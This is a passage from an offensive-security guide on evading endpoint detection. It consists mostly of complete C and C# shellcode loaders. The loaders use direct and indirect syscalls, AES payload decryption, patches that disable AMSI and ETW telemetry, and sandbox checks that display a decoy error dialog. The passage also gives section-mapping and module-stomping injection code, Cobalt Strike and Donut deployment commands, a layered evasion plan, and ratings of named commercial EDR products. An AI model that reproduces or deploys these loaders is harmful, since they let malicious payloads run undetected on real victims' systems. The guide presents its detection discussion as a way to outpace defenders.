// BUT: EtwTi fires at the KERNEL level — patching EtwEventWrite in usermode
// does NOT stop EtwTi. EtwTi bypasses usermode entirely.
// Direct syscalls reduce EtwTi exposure by reducing the surface area of what's
// observable, but do NOT fully evade it against a fully instrumented EDR.
15.3 Practical Mitigation Strategies
Strategy 1: Reduce EtwTi surface
→ Minimize RWX allocations (use RW→RX transitions)
→ Inject into already-elevated processes (fewer allocation events relative to normal ops)
→ Use NtMapViewOfSection instead of VirtualAlloc (different event type)
Strategy 2: Section-based loading (avoids ALLOCVM events)
→ NtCreateSection → NtMapViewOfSection to load shellcode
→ This triggers MAPVIEW events instead of ALLOCVM (less scrutinized by some EDRs)
Strategy 3: Module stomping (avoids anonymous memory events)
→ Shellcode runs in a memory page backed by a legitimate DLL file
→ EtwTi still fires, but the allocation was the DLL load (not your operation)
→ Reduces suspicion
Strategy 4: Process injection timing
→ Inject during a period of high process activity
→ More events = harder to correlate individual events
16. Complete Direct Syscall Shellcode Loader (C)
This is a production-grade, complete loader that combines: - SysWhispers2-based direct syscalls - AES-256 shellcode decryption - RW→RX memory transition (no RWX pages) - AMSI patch - ETW usermode patch - Sandbox evasion
// complete_loader.c — Production-grade shellcode loader with direct syscalls
// Compile: x86_64-w64-mingw32-gcc complete_loader.c syscalls.c -o loader.exe -mwindows -lbcrypt
#include "syscalls.h" // SysWhispers2 generated
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
// ─────────────────────────────────────────────────────────────────
// Configuration — replace these with real values
// ─────────────────────────────────────────────────────────────────
// AES key (32 bytes) — generate with: python3 -c "import os;print(list(os.urandom(32)))"
unsigned char aes_key[] = {
0x1A, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F, 0x7A, 0x8B,
0x9C, 0xAD, 0xBE, 0xCF, 0xDA, 0xEB, 0xFC, 0x0D,
0x1E, 0x2F, 0x3A, 0x4B, 0x5C, 0x6D, 0x7E, 0x8F,
0x9A, 0xAB, 0xBC, 0xCD, 0xDE, 0xEF, 0xF0, 0x01
};
// AES IV (16 bytes)
unsigned char aes_iv[] = {
0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE, 0xBA, 0xBE,
0xDE, 0xAD, 0xC0, 0xDE, 0xFE, 0xED, 0xFA, 0xCE
};
// AES-encrypted shellcode (replace with: python3 encrypt.py shell.bin)
unsigned char enc_shellcode[] = {
// paste encrypted bytes here
0x00 // placeholder
};
unsigned int enc_len = sizeof(enc_shellcode);
// ─────────────────────────────────────────────────────────────────
// AMSI Patch
// ─────────────────────────────────────────────────────────────────
void PatchAMSI(void) {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) return;
FARPROC scan = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!scan) return;
DWORD old;
// NtProtectVirtualMemory via direct syscall (no VirtualProtect API call)
PVOID base = scan; SIZE_T sz = 6; ULONG prev;
NtProtectVirtualMemory((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READWRITE, &prev);
// Patch: mov eax, 0x80070057; ret → AmsiScanBuffer always returns E_INVALIDARG
unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
SIZE_T written;
NtWriteVirtualMemory((HANDLE)-1, scan, patch, sizeof(patch), &written);
NtProtectVirtualMemory((HANDLE)-1, &base, &sz, prev, &prev);
}
// ─────────────────────────────────────────────────────────────────
// ETW Usermode Patch
// ─────────────────────────────────────────────────────────────────
void PatchETW(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC etw = GetProcAddress(hNtdll, "EtwEventWrite");
if (!etw) return;
PVOID base = etw; SIZE_T sz = 1; ULONG prev;
NtProtectVirtualMemory((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READWRITE, &prev);
unsigned char patch[] = { 0xC3 }; // ret
SIZE_T written;
NtWriteVirtualMemory((HANDLE)-1, etw, patch, sizeof(patch), &written);
NtProtectVirtualMemory((HANDLE)-1, &base, &sz, prev, &prev);
}
// ─────────────────────────────────────────────────────────────────
// AES-256-CBC Decryption (Windows BCrypt — no extra libs)
// ─────────────────────────────────────────────────────────────────
BOOL AESDecrypt(BYTE* ciphertext, DWORD ct_len, BYTE** plaintext, DWORD* pt_len) {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
BYTE iv_copy[16];
memcpy(iv_copy, aes_iv, 16); // BCrypt modifies IV in place — use a copy
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, aes_key, sizeof(aes_key), 0);
DWORD outLen = 0;
BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv_copy, 16, NULL, 0, &outLen,
BCRYPT_BLOCK_PADDING);
*plaintext = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, outLen);
BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv_copy, 16, *plaintext, outLen, pt_len,
BCRYPT_BLOCK_PADDING);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;
}
// ─────────────────────────────────────────────────────────────────
// Sandbox Evasion — Return FALSE if we're in a sandbox
// ─────────────────────────────────────────────────────────────────
BOOL IsRealSystem(void) {
// Check 1: Uptime > 5 minutes (sandboxes often have fresh boots)
if (GetTickCount() < 5 * 60 * 1000) return FALSE;
// Check 2: More than 2 CPU cores
SYSTEM_INFO si; GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return FALSE;
// Check 3: More than 3GB RAM
MEMORYSTATUSEX ms = { sizeof(ms) };
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < (DWORDLONG)3 * 1024 * 1024 * 1024) return FALSE;
// Check 4: Sleep timing check (sandboxes accelerate time)
DWORD start = GetTickCount();
Sleep(1500);
DWORD elapsed = GetTickCount() - start;
if (elapsed < 1000) return FALSE;
return TRUE;
}
// ─────────────────────────────────────────────────────────────────
// Main
// ─────────────────────────────────────────────────────────────────
int main(void) {
// Step 0: Sandbox check — exit silently if detected
if (!IsRealSystem()) {
// Appear benign in sandbox
MessageBoxA(NULL, "An error occurred. Please try again.", "Error", MB_OK | MB_ICONERROR);
return 0;
}
// Step 1: Populate SysWhispers2 syscall number table
if (!SW2_PopulateSyscallList()) return 1;
// Step 2: Patch AMSI (via direct syscalls — not VirtualProtect!)
PatchAMSI();
// Step 3: Patch usermode ETW
PatchETW();
// Step 4: Decrypt shellcode
BYTE* shellcode = NULL;
DWORD sc_len = 0;
if (!AESDecrypt(enc_shellcode, enc_len, &shellcode, &sc_len)) return 1;
// Step 5: Allocate RW memory (direct syscall — EDR hook bypassed)
HANDLE hProc = (HANDLE)-1;
PVOID baseAddr = NULL;
SIZE_T regionSize = sc_len;
NTSTATUS status = NtAllocateVirtualMemory(hProc, &baseAddr, 0, ®ionSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (status != 0) { HeapFree(GetProcessHeap(), 0, shellcode); return 1; }
// Step 6: Copy shellcode to allocated memory (direct syscall)
SIZE_T written = 0;
NtWriteVirtualMemory(hProc, baseAddr, shellcode, sc_len, &written);
// Step 7: Wipe decrypted shellcode from heap immediately
SecureZeroMemory(shellcode, sc_len);
HeapFree(GetProcessHeap(), 0, shellcode);
// Step 8: Change memory to RX (no write) via direct syscall
PVOID protBase = baseAddr;
SIZE_T protSize = sc_len;
ULONG oldProtect = 0;
NtProtectVirtualMemory(hProc, &protBase, &protSize, PAGE_EXECUTE_READ, &oldProtect);
// Step 9: Create thread via direct syscall (no CreateThread!)
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc,
baseAddr, NULL, 0, 0, 0, 0, NULL);
// Step 10: Wait (beacon will run indefinitely in a real scenario)
NtWaitForSingleObject(hThread, FALSE, NULL);
return 0;
}
17. Complete Indirect Syscall Loader (C)
This extends the direct syscall loader to use indirect syscalls — ensuring the syscall instruction fires from within ntdll's address range for maximum EDR evasion.
Combines: SysWhispers3 (mingw/nasm output), indirect stub building, AES decryption, RW→RX, sandbox evasion.
// indirect_complete.c — Full indirect syscall loader
// Uses runtime-built indirect stubs that JMP into ntdll's 'syscall' instruction
#include <windows.h>
#include <bcrypt.h>
#include <tlhelp32.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
// ─────────────────────────────────────────────────────────────────
// NT function typedefs
// ─────────────────────────────────────────────────────────────────
typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI* NtProtectVirtualMemory_t)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
// ─────────────────────────────────────────────────────────────────
// Build an indirect syscall stub in RWX memory
// Stub layout (28 bytes):
// 4C 8B D1 mov r10, rcx
// B8 XX XX XX XX mov eax, <sysnum>
// FF 25 00 00 00 00 jmp qword ptr [rip+0]
// <8-byte syscall addr in ntdll>
// ─────────────────────────────────────────────────────────────────
PVOID BuildStub(DWORD sysnum, PVOID syscallInNtdll) {
BYTE template[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, <sysnum> (bytes 4-7)
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [rip+0]
// 8-byte target address follows immediately
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
*(DWORD*)(template + 4) = sysnum;
*(PVOID*)(template + 14) = syscallInNtdll;
PVOID stub = VirtualAlloc(NULL, sizeof(template),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (stub) memcpy(stub, template, sizeof(template));
return stub;
}
// Find 'syscall' (0F 05) in ntdll function
PVOID FindSyscallInNtdll(const char* funcName) {
PBYTE func = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
if (!func) return NULL;
for (int i = 0; i < 32; i++)
if (func[i] == 0x0F && func[i+1] == 0x05)
return func + i;
// Fallback: clean neighbor
for (int off = 1; off <= 10; off++) {
PBYTE n = func + off * 32;
if (n[0] == 0x4C && n[1] == 0x8B && n[2] == 0xD1)
for (int i = 0; i < 16; i++)
if (n[i] == 0x0F && n[i+1] == 0x05)
return n + i;
}
return NULL;
}
// Get syscall number (from clean stub or EAT-sort fallback)
DWORD GetSysnum(const char* funcName) {
PBYTE func = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
if (!func) return 0;
if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1 && func[3] == 0xB8)
return *(DWORD*)(func + 4) & 0xFFFF;
// Hooked — use EAT-sort (Section 13) — simplified here
return 0; // implement RecycledGate here for production
}
// ─────────────────────────────────────────────────────────────────
// AES Decrypt (same as previous section)
// ─────────────────────────────────────────────────────────────────
BOOL AESDecrypt(BYTE* ct, DWORD ctLen, BYTE* key, BYTE* iv, BYTE** pt, DWORD* ptLen) {
BCRYPT_ALG_HANDLE hAlg; BCRYPT_KEY_HANDLE hKey;
BYTE iv_copy[16]; memcpy(iv_copy, iv, 16);
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);
DWORD sz = 0;
BCryptDecrypt(hKey, ct, ctLen, NULL, iv_copy, 16, NULL, 0, &sz, BCRYPT_BLOCK_PADDING);
*pt = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz);
BCryptDecrypt(hKey, ct, ctLen, NULL, iv_copy, 16, *pt, sz, ptLen, BCRYPT_BLOCK_PADDING);
BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;
}
// ─────────────────────────────────────────────────────────────────
// Main
// ─────────────────────────────────────────────────────────────────
// Placeholders — replace with real values
unsigned char aes_key[32] = { /* 32 key bytes */ };
unsigned char aes_iv[16] = { /* 16 iv bytes */ };
unsigned char enc_sc[] = { /* encrypted shellcode */ 0x00 };
int main(void) {
// Build indirect stubs
NtAllocateVirtualMemory_t pAlloc = BuildStub(GetSysnum("NtAllocateVirtualMemory"),
FindSyscallInNtdll("NtAllocateVirtualMemory"));
NtWriteVirtualMemory_t pWrite = BuildStub(GetSysnum("NtWriteVirtualMemory"),
FindSyscallInNtdll("NtWriteVirtualMemory"));
NtProtectVirtualMemory_t pProt = BuildStub(GetSysnum("NtProtectVirtualMemory"),
FindSyscallInNtdll("NtProtectVirtualMemory"));
NtCreateThreadEx_t pThread = BuildStub(GetSysnum("NtCreateThreadEx"),
FindSyscallInNtdll("NtCreateThreadEx"));
if (!pAlloc || !pWrite || !pProt || !pThread) return 1;
// Decrypt shellcode
BYTE* sc = NULL; DWORD sc_len = 0;
AESDecrypt(enc_sc, sizeof(enc_sc), aes_key, aes_iv, &sc, &sc_len);
HANDLE hProc = (HANDLE)-1;
// Allocate (indirect syscall)
PVOID base = NULL; SIZE_T sz = sc_len;
pAlloc(hProc, &base, 0, &sz, 0x3000, 0x04);
// Write (indirect syscall)
SIZE_T written = 0;
pWrite(hProc, base, sc, sc_len, &written);
SecureZeroMemory(sc, sc_len);
HeapFree(GetProcessHeap(), 0, sc);
// Protect RX (indirect syscall)
PVOID pb = base; SIZE_T ps = sc_len; ULONG old;
pProt(hProc, &pb, &ps, 0x20, &old);
// Create thread (indirect syscall)
HANDLE hT = NULL;
pThread(&hT, GENERIC_EXECUTE, NULL, hProc, base, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hT, INFINITE);
return 0;
}
18. C# / .NET Syscall Techniques (D/Invoke)
D/Invoke (Dynamic Invocation) is the .NET equivalent of direct syscalls — instead of P/Invoke (which creates visible imports in the assembly), D/Invoke calls APIs at runtime by resolving them dynamically, leaving no static import footprint.
18.1 D/Invoke vs P/Invoke
// P/Invoke (STATIC — visible in assembly imports, flagged by static analysis):
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
// ↑ This creates an entry in the IAT — EDR and static analysis tools see it
// D/Invoke (DYNAMIC — no static import, resolved at runtime):
// 1. Load the DLL manually (or get it from already-loaded modules)
// 2. Walk its export table to find the function
// 3. Create a delegate for it at runtime
// 4. Call through the delegate
// ↑ No IAT entry — invisible to static analysis
18.2 D/Invoke Core Implementation
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Reflection;
class DInvoke {
// ─────────────────────────────────────────────────────────────
// Step 1: Get a module handle WITHOUT calling LoadLibrary
// Walk PEB InMemoryOrderModuleList to find already-loaded DLLs
// ─────────────────────────────────────────────────────────────
public static IntPtr GetLoadedModuleHandle(string moduleName) {
foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
if (module.ModuleName.Equals(moduleName, StringComparison.OrdinalIgnoreCase)) {
return module.BaseAddress;
}
}
return IntPtr.Zero;
}
// ─────────────────────────────────────────────────────────────
// Step 2: Get function address from export table WITHOUT GetProcAddress
// Walks PE Export Directory manually
// ─────────────────────────────────────────────────────────────
public static IntPtr GetExportAddress(IntPtr moduleBase, string funcName) {
// Read DOS header → NT headers → Export directory
int e_lfanew = Marshal.ReadInt32(moduleBase + 0x3C);
IntPtr ntHdr = moduleBase + e_lfanew;
// Optional header starts at offset 0x18 from NT header
// Export directory RVA is at DataDirectory[0]
// On x64: OptionalHeader is at offset 0x18, DataDirectory[0] is at +0x70
int exportDirRVA = Marshal.ReadInt32(ntHdr + 0x18 + 0x70);
IntPtr exportDir = moduleBase + exportDirRVA;
int numberOfNames = Marshal.ReadInt32(exportDir + 0x18);
int addressOfFuncsRVA = Marshal.ReadInt32(exportDir + 0x1C);
int addressOfNamesRVA = Marshal.ReadInt32(exportDir + 0x20);
int addressOfOrdsRVA = Marshal.ReadInt32(exportDir + 0x24);
IntPtr funcTable = moduleBase + addressOfFuncsRVA;
IntPtr nameTable = moduleBase + addressOfNamesRVA;
IntPtr ordTable = moduleBase + addressOfOrdsRVA;
for (int i = 0; i < numberOfNames; i++) {
int nameRVA = Marshal.ReadInt32(nameTable + i * 4);
string name = Marshal.PtrToStringAnsi(moduleBase + nameRVA);
if (name == funcName) {
short ordinal = Marshal.ReadInt16(ordTable + i * 2);
int funcRVA = Marshal.ReadInt32(funcTable + ordinal * 4);
return moduleBase + funcRVA;
}
}
return IntPtr.Zero;
}
// ─────────────────────────────────────────────────────────────
// Step 3: Create a typed delegate from a function address
// ─────────────────────────────────────────────────────────────
public static T GetDelegateFromPointer<T>(IntPtr funcAddr) where T : class {
return Marshal.GetDelegateForFunctionPointer<T>(funcAddr);
}
// ─────────────────────────────────────────────────────────────
// Usage: Get NtAllocateVirtualMemory without P/Invoke
// ─────────────────────────────────────────────────────────────
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int NtAllocateVirtualMemoryDelegate(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect
);
public static void Demo() {
// Get ntdll without LoadLibrary
IntPtr hNtdll = GetLoadedModuleHandle("ntdll.dll");
// Get NtAllocateVirtualMemory address without GetProcAddress
IntPtr funcAddr = GetExportAddress(hNtdll, "NtAllocateVirtualMemory");
// Create delegate
var NtAllocateVirtualMemory = GetDelegateFromPointer<NtAllocateVirtualMemoryDelegate>(funcAddr);
// Call it (now using D/Invoke — no P/Invoke import in IAT)
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = new IntPtr(4096);
int status = NtAllocateVirtualMemory(
Process.GetCurrentProcess().Handle,
ref baseAddr,
IntPtr.Zero,
ref regionSize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x04 // PAGE_READWRITE
);
Console.WriteLine($"[+] NtAllocateVirtualMemory status: 0x{status:X8}, addr: 0x{baseAddr:X}");
}
}
18.3 D/Invoke with Syscalls (SharpSploit / DInvoke Library)
// Using the DInvoke NuGet package / SharpSploit:
// Install-Package DInvoke OR clone https://github.com/TheWover/DInvoke
using DInvoke.DynamicInvoke;
using DInvoke.Data;
using System.Runtime.InteropServices;
using System;
class SyscallLoader {
static void Main(string[] args) {
// Shellcode placeholder
byte[] shellcode = new byte[] { 0x90, 0x90, 0xC3 };
// ─── NtAllocateVirtualMemory via D/Invoke ───
// Define the delegate
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate Native.NTSTATUS NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect
);
// Get the function pointer (D/Invoke style)
IntPtr hNtdll = Generic.GetLoadedModuleAddress("ntdll.dll");
IntPtr funcAddr = Generic.GetExportAddress(hNtdll, "NtAllocateVirtualMemory");
var NtAllocVMem = Marshal.GetDelegateForFunctionPointer<NtAllocateVirtualMemory>(funcAddr);
// Allocate memory
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = new IntPtr(shellcode.Length);
var status = NtAllocVMem(
new IntPtr(-1), // Current process
ref baseAddr,
IntPtr.Zero,
ref regionSize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x04 // PAGE_READWRITE
);
if (status != 0) { Console.WriteLine($"[-] Alloc failed: 0x{(uint)status:X}"); return; }
Console.WriteLine($"[+] Allocated at 0x{baseAddr:X}");
// Copy shellcode
Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);
// Change to RX
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate Native.NTSTATUS NtProtectVirtualMemory(
IntPtr ProcessHandle, ref IntPtr BaseAddress,
ref IntPtr RegionSize, uint NewProtect, out uint OldProtect
);
IntPtr protAddr = Generic.GetExportAddress(hNtdll, "NtProtectVirtualMemory");
var NtProtVM = Marshal.GetDelegateForFunctionPointer<NtProtectVirtualMemory>(protAddr);
IntPtr pb = baseAddr; IntPtr ps = new IntPtr(shellcode.Length); uint old;
NtProtVM(new IntPtr(-1), ref pb, ref ps, 0x20, out old);
// Execute
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate Native.NTSTATUS NtCreateThreadEx(
out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes,
IntPtr ProcessHandle, IntPtr StartRoutine, IntPtr Argument,
uint CreateFlags, IntPtr ZeroBits, IntPtr StackSize,
IntPtr MaximumStackSize, IntPtr AttributeList
);
IntPtr threadAddr = Generic.GetExportAddress(hNtdll, "NtCreateThreadEx");
var NtCreateThEx = Marshal.GetDelegateForFunctionPointer<NtCreateThreadEx>(threadAddr);
IntPtr hThread;
NtCreateThEx(out hThread, 0x1FFFFF, IntPtr.Zero, new IntPtr(-1),
baseAddr, IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
Console.WriteLine($"[+] Thread created: 0x{hThread:X}");
}
}
18.4 Compile and Deploy C# Loader
# Windows — compile C# loader:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:loader.exe loader.cs
# Linux (Mono):
mcs -unsafe loader.cs -out:loader.exe
# Deploy via Cobalt Strike execute-assembly:
# beacon> execute-assembly /opt/loaders/loader.exe
# Deploy via PowerShell (if inline):
# [Reflection.Assembly]::Load(<byte array of loader.exe>)
# Wrap with Donut for in-memory execution:
donut -f loader.exe -a 2 -b 1 -o loader_sc.bin
# -b 1 = bypass AMSI + WLDP (Donut handles this before running .NET runtime)
19. Combining Syscalls with Other Evasion Layers
Direct/indirect syscalls alone are not sufficient for modern EDR evasion. They must be combined with other techniques.
19.1 Recommended Layer Stack
┌─────────────────────────────────────────────────────────────────┐
│ EVASION LAYER STACK │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 1: Payload Encryption │
│ AES-256-CBC or ChaCha20 — static analysis cannot read payload │
│ Key NOT stored in loader binary (fetch from C2 or derive) │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 2: Syscall Bypass (Direct or Indirect) │
│ NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx│
│ Bypasses usermode EDR hooks on ntdll │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 3: Memory Stealth │
│ RW → RX transition (no RWX pages) │
│ Module stomping (shellcode in DLL-backed pages) │
│ NtMapViewOfSection instead of NtAllocateVirtualMemory │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 4: Execution Stealth │
│ Callbacks (EnumWindows, timer) instead of CreateThread │
│ Fiber execution (ConvertThreadToFiber + SwitchToFiber) │
│ Thread pool (TpAllocWork + TpPostWork) │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 5: Telemetry Suppression │
│ AMSI patch (via syscall — not VirtualProtect) │
│ ETW usermode patch (EtwEventWrite → ret) │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 6: Loader Binary Stealth │
│ Code signing (ScareCrow / Freeze) │
│ Garble obfuscation (Go-based tools) │
│ Sandbox evasion (sleep timing, RAM, CPU, cursor) │
│ PPID spoofing (appear as child of explorer.exe) │
└─────────────────────────────────────────────────────────────────┘
19.2 NtMapViewOfSection as VirtualAlloc Alternative
Using NtMapViewOfSection instead of NtAllocateVirtualMemory fires different EtwTi events and has a different detection profile:
// Use NtCreateSection + NtMapViewOfSection instead of VirtualAlloc
// Different EtwTi event (MAPVIEW not ALLOCVM) — different detection profile
#include "syscalls.h" // SysWhispers2 with NtCreateSection, NtMapViewOfSection
// NT types
typedef LONG NTSTATUS;
#define SECTION_ALL_ACCESS 0x10000000
void SectionBasedLoader(unsigned char* shellcode, size_t sc_len) {
HANDLE hSection = NULL;
LARGE_INTEGER sectionSize;
sectionSize.QuadPart = sc_len;
// Step 1: Create a section (not a VirtualAlloc)
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
NULL,
§ionSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL
);
if (status != 0) return;
// Step 2: Map the section into current process (RW)
PVOID localBase = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(
hSection,
(HANDLE)-1, // Current process
&localBase,
0, 0, NULL,
&viewSize,
ViewShare, // 2
0,
PAGE_READWRITE // Map as RW first
);
// Step 3: Copy shellcode
memcpy(localBase, shellcode, sc_len);
// Step 4: Unmap RW view and remap as RX
NtUnmapViewOfSection((HANDLE)-1, localBase);
NtMapViewOfSection(hSection, (HANDLE)-1, &localBase,
0, 0, NULL, &viewSize, ViewShare, 0, PAGE_EXECUTE_READ);
// Step 5: Execute
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, (HANDLE)-1,
localBase, NULL, 0, 0, 0, 0, NULL);
NtWaitForSingleObject(hThread, FALSE, NULL);
}
19.3 Module Stomping + Indirect Syscalls (Maximum Stealth)
// Ultimate technique: indirect syscalls + module stomping
// Memory scanner sees legitimate DLL backing → no anonymous RWX pages
void ModuleStomping_IndirectSyscall(unsigned char* shellcode, size_t sc_len) {
// 1. Load a sacrificial DLL (choose one with large .text section, rarely called)
HMODULE hMod = LoadLibraryA("xpsservices.dll"); // Or: prntvpt.dll, msaatext.dll
if (!hMod) { LoadLibraryA("xpsp1res.dll"); return; }
// 2. Find the .text section
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
BYTE* textSection = NULL;
DWORD textSize = 0;
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
textSection = (BYTE*)hMod + sec[i].VirtualAddress;
textSize = sec[i].Misc.VirtualSize;
break;
}
}
if (!textSection || textSize < sc_len) return;
// 3. Use NtProtectVirtualMemory (indirect syscall) to make .text writable
// (No VirtualProtect call — EDR hook bypassed)
PVOID base = textSection; SIZE_T sz = sc_len; ULONG old;
// (pProt = indirect stub built with BuildStub() from Section 17)
pProt((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READWRITE, &old);
// 4. Write shellcode over the DLL's .text section
SIZE_T written;
pWrite((HANDLE)-1, textSection, shellcode, sc_len, &written);
// 5. Restore to RX (remove write)
pProt((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READ, &old);
// 6. Execute via indirect syscall (NtCreateThreadEx)
HANDLE hT = NULL;
pThread(&hT, GENERIC_EXECUTE, NULL, (HANDLE)-1,
textSection, NULL, 0, 0, 0, 0, NULL);
NtWaitForSingleObject(hT, FALSE, NULL);
}
20. EDR Detection of Syscall Abuse
Modern EDRs have adapted. Understanding their detection methods helps you stay ahead.
20.1 Direct Syscall Detection Methods
DETECTION METHOD 1: Syscall Return Address Check
─────────────────────────────────────────────────
EDR uses kernel callbacks to inspect the return address of syscalls.
When your loader calls 'syscall', the kernel records the caller's RIP.
If RIP points outside ntdll.dll address range → flagged.
COUNTERED BY: Indirect syscalls (jump to ntdll's 'syscall' instruction)
DETECTION METHOD 2: Stack Unwinding
────────────────────────────────────
EDR walks the call stack at syscall time.
In a legitimate call: stack shows ntdll → kernel32 → your code
In a direct syscall: stack shows your code directly → kernel (no ntdll frame)
COUNTERED BY: Indirect syscalls (ntdll frame appears on stack)
DETECTION METHOD 3: Egg Detection (Scanning for Syscall Stubs)
───────────────────────────────────────────────────────────────
EDR scans process memory for patterns matching syscall stubs:
4C 8B D1 B8 XX XX XX XX 0F 05 C3
If found outside ntdll → suspicious.
COUNTERED BY: SysWhispers3 Egg Hunter mode (stubs are obfuscated/hidden)
COUNTERED BY: Indirect syscall stubs (different byte pattern)
DETECTION METHOD 4: EtwTi Kernel Provider
──────────────────────────────────────────
EtwTi fires kernel-level events for VirtualAlloc, WriteProcessMemory, etc.
These fire REGARDLESS of whether you use direct syscalls.
EDRs that subscribe to EtwTi still see allocation and thread events.
COUNTERED BY: Module stomping, NtMapViewOfSection, behavioral legitimization
DETECTION METHOD 5: Behavioral Sequencing
──────────────────────────────────────────
EDR tracks API call sequences across time:
Allocate(RW) → Write → Protect(RX) → CreateThread
This sequence is unusual for most legitimate code.
COUNTERED BY: Splitting operations across time, using less suspicious sequences,
injecting into legitimate processes (so the sequence appears in explorer.exe)
20.2 Current EDR Capabilities vs Techniques
| Technique | CrowdStrike | SentinelOne | MDE | Elastic |
|---|---|---|---|---|
| Direct syscalls (plain) | ⚠️ Partial | ⚠️ Partial | ⚠️ Partial | ❌ Often misses |
| Indirect syscalls | ✅ Harder to detect | ✅ Harder | ✅ Harder | ✅ Harder |
| Module stomping + indirect | 🔴 Very hard | 🔴 Very hard | ⚠️ Partial | ❌ Often misses |
| EtwTi (kernel events) | ✅ Still fires | ✅ Still fires | ✅ Still fires | ❌ May miss |
| SysWhispers3 egg hunter | ⚠️ Partial | ⚠️ Partial | ❌ Often misses | ❌ Often misses |
Note: EDR capability ratings change rapidly. Always test against your target environment in a lab before engagement.
